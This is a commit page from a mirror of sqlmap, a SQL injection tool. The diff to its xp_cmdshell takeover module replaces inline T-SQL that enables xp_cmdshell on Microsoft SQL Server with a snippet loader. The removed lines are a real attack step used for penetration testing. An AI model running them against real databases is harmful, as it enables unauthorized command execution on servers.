PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-12-21 06:59:02 +00:00
Code Issues Projects Releases Wiki Activity

adding first code example for SPL snippets

Browse Source
This commit is contained in:
Miroslav Stampar
2012-02-15 13:17:01 +00:00
parent edeb4b6113
commit 9059d30312
4 changed files with 23 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
lib/takeover/xp_cmdshell.py
View File

@@ -8,12 +8,15 @@ See the file 'doc/COPYING' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import getSPLSnippet
from lib.core.common import randomStr
from lib.core.common import readCachedFileContent
from lib.core.common import readInput
from lib.core.common import wasLastRequestDelayed
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setXpCmdshellAvailability
from lib.core.unescaper import unescaper
@@ -60,12 +63,7 @@ class xp_cmdshell:
debugMsg += "stored procedure"
logger.debug(debugMsg)
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d; " % mode
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC sp_configure 'show advanced options', 0; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd = getSPLSnippet("configure_xp_cmdshell", ENABLE=str(mode))
return cmd